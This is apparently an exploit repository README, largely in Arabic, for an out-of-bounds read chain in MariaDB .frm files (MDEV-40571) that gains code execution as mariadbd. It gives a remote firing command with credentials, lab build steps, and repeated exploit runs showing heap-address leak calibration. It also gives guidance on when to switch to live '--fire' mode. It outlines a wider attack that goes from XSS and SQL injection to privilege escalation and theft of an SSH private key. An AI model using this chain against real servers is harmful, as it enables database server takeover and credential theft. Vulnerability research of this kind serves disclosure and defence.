
سلسلة استغلال قراءة خارج الحدود (OOB read) في ملفات .frm الخاصة بـ MariaDB (MDEV-40571) تحقق تنفيذ التعليمات عن بُعد (RCE) بصلاحيات mariadbd، مع نصوص بناء المختبر، ومعايرة تسريب العناوين، وتوثيق كامل لسيناريو الهجوم.
تنشأ الثغرة من التحقق غير الكافي من بيانات .frm عند فتح MariaDB لجدول. يمكن بناء سلسلة استغلال كاملة من خلال الجمع بين قراءة خارج الحدود (OOB) ناتجة عن غياب التحقق من الفهرس لمصفوفة المؤشرات share->field، وتسريب عنوان المخزن المؤقت comment_pos عبر التلاعب بـ default_values وبيانات التعريف الخاصة بالسجل، ووضع حمولة في المخزن المؤقت comment_pos باستخدام استعلامات SQL. في النهاية، تتيح هذه السلسلة للمهاجم تنفيذ تعليمات برمجية عشوائية بصلاحيات عملية mariadbd.
كانت الثغرة موجودة منذ تفرّع MariaDB من MySQL 5، وتؤثر على جميع إصدارات MariaDB Community Server السابقة للإصلاحات المذكورة أدناه.
يبدأ هذا السيناريو بثغرات XSS وحقن SQL في خدمة ويب مستقلة عن MDEV-40571. تُستخدم هذه الثغرات للحصول على تجزئة كلمة مرور حساب MariaDB والوصول إلى قاعدة البيانات. يمكن للقراء المهتمين بـ MDEV-40571 فقط الانتقال إلى قسم الاستغلال.
fetch لإجراء الطلبات.mariadbd، ويرفع الصلاحيات باستخدام ثغرة copy-fail، ويستخرج id_rsa من /home/ubuntu/.
/exploit
|--- /13.1.0
| |--- lab_exploit.py
| |--- requirements.txt
|--- /10.4.18
| |--- na_frm_rce2_exploit.py
| |--- t16_e2e.py
| |--- target_reliable.py
# 10.4.18 remote test
# This exploit was developed during a penetration test and is tailored to my specific environment. It should therefore be used for reference purposes only.
$ THOST=127.0.0.1 USER=mariadb_user TPWD=1234 python3 target_reliable.py --fire
# WSL2 Ubuntu 24.04 | Building a MariaDB 13.1.0 Test Environment
# When installed in the home directory, the build environment is set up under mariadb-13.1.0-git.
$ cd ~
$ ./build_mariadb_13_1_0.sh
# Run mariadbd and initialize datadir
$ rm -rf ~/off131
$ mkdir -p ~/off131/data
$ ~/mariadb-13.1.0-git/inst/bin/mariadbd \
--no-defaults \
--datadir="$HOME/off131/data" \
--socket="$HOME/off131/off.sock" \
--port=3306 \
--bind-address=127.0.0.1 \
--skip-grant-tables \
--secure-file-priv= \
--local-infile=1 \
--aria-log-dir-path="$HOME/off131/data" \
--log-error="$HOME/off131/off.log" \
--pid-file="$HOME/off131/off.pid"
# 13.1.0 lab exploit - The payload executes the /tmp/heal_t16.sh script.
$ cat /tmp/frm_pwned_t16
[bat error]: '/tmp/frm_pwned_t16': No such file or directory (os error 2)
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd64022c50
[*] CALIB: re-leaked C2=0x7abd64022c50 stable=True
[=] CALIB PASS. dry-run only. re-run with --fire to arm fieldnr=47 and trigger R5.
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd6402d7d0
[*] CALIB: re-leaked C2=0x7abd6402d7d0 stable=True
[=] CALIB PASS. dry-run only. re-run with --fire to arm fieldnr=47 and trigger R5.
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd64038d10
[*] CALIB: re-leaked C2=0x7abd64038d10 stable=True
[=] CALIB PASS. dry-run only. re-run with --fire to arm fieldnr=47 and trigger R5.
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd64044fd0
[*] CALIB: re-leaked C2=0x7abd640474d0 stable=False
[!] chunk NOT stable across deliver (C moved) -> ABORT before firing
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd6404b8b0
[*] CALIB: re-leaked C2=0x7abd6404ddb0 stable=False
[!] chunk NOT stable across deliver (C moved) -> ABORT before firing
# [!!!!!] This is the interval during which the `comment_pos` buffer stabilizes.
# The address of `C` from the previous step is the same as the address of `C` in the step where the exploit succeeded.
# Since this may vary depending on the server configuration,
# if the `C` address remains consistent when you run the program without the `--fire` variable, switch to `--fire` mode and run it again.